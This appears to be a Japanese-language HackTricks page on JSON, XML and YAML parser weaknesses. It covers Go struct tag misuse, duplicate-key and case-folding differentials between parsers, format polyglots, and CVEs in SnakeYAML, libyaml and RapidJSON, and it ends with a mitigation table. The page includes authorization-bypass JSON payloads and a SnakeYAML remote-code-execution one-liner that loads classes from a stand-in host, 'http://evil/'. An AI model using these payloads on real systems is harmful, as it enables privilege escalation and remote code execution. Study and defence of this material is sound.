JSON, XML & Yaml Hacking & Issues
Reading time: 9 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Go JSON Decoder
以下の問題はGoのJSONで検出されましたが、他の言語にも存在する可能性があります。これらの問題は this blog post で公開されました。
GoのJSON、XML、およびYAMLパーサーには長年にわたる不整合や安全でないデフォルト設定の履歴があり、これらはbypass authentication、escalate privileges、またはexfiltrate sensitive dataの悪用につながり得ます。
(Un)Marshaling Unexpected Data
目的は、攻撃者が機密フィールド(例: IsAdmin, Password)の読み書きを可能にするstructを悪用することです。
- Example Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- 一般的な脆弱性
- Missing tag (タグがない = フィールドはデフォルトで引き続きパースされる):
type User struct {
Username string
}
ペイロード:
{"Username": "admin"}
-の不適切な使用:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ フィールドが (un)marshaled されるのを防ぐ正しい方法:
type User struct {
IsAdmin bool `json:"-"`
}
パーサの差異
目的は、異なるパーサが同じペイロードを異なって解釈する点を悪用して認可を回避することで、例えば次のような事例がある:
- CVE-2017-12635: Apache CouchDB bypass(重複キーを悪用)
- 2022: Zoom 0-click RCE(XMLパーサの不整合による)
- GitLab 2025 SAML bypass(XMLの特異な挙動を利用)
1. 重複フィールド: Go's encoding/json は 最後 のフィールドを採用する。
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
他のパーサ(例: Java’s Jackson)は最初を採ることがあります。
2. 大文字小文字を区別しない: Goは大文字小文字を区別しません:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Unicodeのトリックも有効です:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. サービス間のミスマッチ: Imagine:
- Proxy が Go で実装されている
- AuthZ service が Python で実装されている
Attacker が送信する:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python は
UserActionを見て許可する - Go は
AdminActionを見て実行する
データフォーマットの混同 (Polyglots)
目的は、フォーマット(JSON/XML/YAML)を混在させるシステムや、パーサーエラーでフェイルオープンするシステムを悪用することです。例:
- CVE-2020-16250: HashiCorp Vault は、STS が XML の代わりに JSON を返したあとに JSON を XML パーサで解析した。
攻撃者が制御できるもの:
Accept: application/jsonヘッダー- JSON ボディの部分的な制御
Go の XML パーサはそれをそれでも解析し、注入された識別情報を信頼した。
- 作成した payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
結果:
- Go JSON パーサー:
Action_2(大文字小文字を区別しない + 後勝ち) - YAML パーサー:
Action_1(大文字小文字を区別する) - XML パーサー: 文字列内の "Action_3" を解析する
注目すべきパーサーの脆弱性 (2023-2025)
以下の公開悪用可能な問題は、不安全なパースがGoだけの問題ではなく複数の言語にまたがる問題であることを示している。
SnakeYAML Deserialization RCE (CVE-2022-1471)
- 影響対象:
org.yaml:snakeyaml< 2.0 (Spring-Boot、Jenkins などで使用)。 - 根本原因:
new Constructor()が任意の Java クラスをデシリアライズし、gadget chains を経て remote-code execution に至る可能性がある。 - One-liner PoC (脆弱なホストで電卓を開く):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- 修正 / 緩和:
- ≥2.0 へアップグレード(デフォルトで
SafeLoaderを使用)。 - 古いバージョンでは、明示的に
new Yaml(new SafeConstructor())を使用する。
libyaml Double-Free (CVE-2024-35325)
- 影響:
libyaml≤0.2.5(多くの言語バインディングで利用される C ライブラリ)。 - 問題:
yaml_event_delete()を2回呼ぶとダブルフリーが発生し、攻撃者はそれを DoS や、場合によっては heap exploitation に利用できる。 - 状況: Upstream は “API misuse” として却下したが、Linux ディストリビューションは防御的にポインタを null にして解放する修正版 0.2.6 を出荷した。
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- 影響: Tencent RapidJSON の commit
8269bc2より前(<1.1.0-patch-22)。 - バグ:
GenericReader::ParseNumber()内の未チェックの算術により、攻撃者は巨大な数値リテラルを作成してラップアラウンドを起こしヒープを破損させることができる — 最終的に、生成されたオブジェクトグラフが認可判定に使われた場合に権限昇格を可能にする。
🔐 緩和策(更新)
| Risk | Fix / Recommendation |
|---|---|
| Unknown fields (JSON) | decoder.DisallowUnknownFields() |
| Duplicate fields (JSON) | ❌ stdlib に修正なし — jsoncheck で検証 |
| Case-insensitive match (Go) | ❌ 修正なし — struct タグを検証 + 入力を事前に正規化する |
| XML garbage data / XXE | 強化されたパーサを使用する(encoding/xml + DisallowDTD) |
| YAML unknown keys | yaml.KnownFields(true) |
| Unsafe YAML deserialization | SafeConstructor を使用 / SnakeYAML ≥2.0 にアップグレード |
| libyaml ≤0.2.5 double-free | 0.2.6 へアップグレード、またはディストリビューションでの修正版を使用 |
| RapidJSON <patched commit | 最新の RapidJSON(≥July 2024)でコンパイルする |
関連
参考文献
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks